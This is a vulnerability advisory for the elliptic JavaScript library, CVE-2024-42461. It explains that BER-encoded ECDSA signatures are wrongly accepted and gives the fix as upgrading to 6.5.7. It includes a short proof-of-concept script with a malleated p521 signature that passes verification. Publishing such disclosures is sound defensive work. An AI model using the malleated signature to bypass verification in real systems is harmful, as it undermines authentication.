Improper Verification of Cryptographic Signature Affecting elliptic package, versions <6.5.7
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Test your applications- Snyk IDSNYK-JS-ELLIPTIC-7577917
- published14 Aug 2024
- disclosed2 Aug 2024
- creditMarkus Schiffermüller
Introduced: 2 Aug 2024
CVE-2024-42461 (opens in a new tab)How to fix?
Upgrade elliptic to version 6.5.7 or higher.
Overview
elliptic is a fast elliptic-curve cryptography implementation in plain javascript.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the allowance of BER-encoded signatures. An attacker can manipulate the ECDSA signatures by exploiting the signature malleability.
PoC
var elliptic = require('elliptic'); // tested with version 6.5.6
var hash = require('hash.js');
var toArray = elliptic.utils.toArray;
var ec = new elliptic.ec('p521');
// [tcId 7] length of sequence [r, s] contains a leading 0
var msg = '313233343030';
var sig = '3082008602414e4223ee43e8cb89de3b1339ffc279e582f82c7ab0f71bbde43dbe374ac75ffbef29acdf8e70750b9a04f66fda48351de7bbfd515720b0ec5cd736f9b73bdf8645024128b5d0926a4172b349b0fd2e929487a5edb94b142df923a697e7446acdacdba0a029e43d69111174dba2fe747122709a69ce69d5285e174a01a93022fea8318ac1';
var pk = '04005c6457ec088d532f482093965ae53ccd07e556ed59e2af945cd8c7a95c1c644f8a56a8a8a3cd77392ddd861e8a924dac99c69069093bd52a52fa6c56004a074508007878d6d42e4b4dd1e9c0696cb3e19f63033c3db4e60d473259b3ebe079aaf0a986ee6177f8217a78c68b813f7e149a4e56fd9562c07fed3d895942d7d101cb83f6';
var hashMsg = hash.sha512().update(toArray(msg, 'hex')).digest();
var pubKey = ec.keyFromPublic(pk, 'hex');
console.log('Valid signature: ' + pubKey.verify(hashMsg, sig));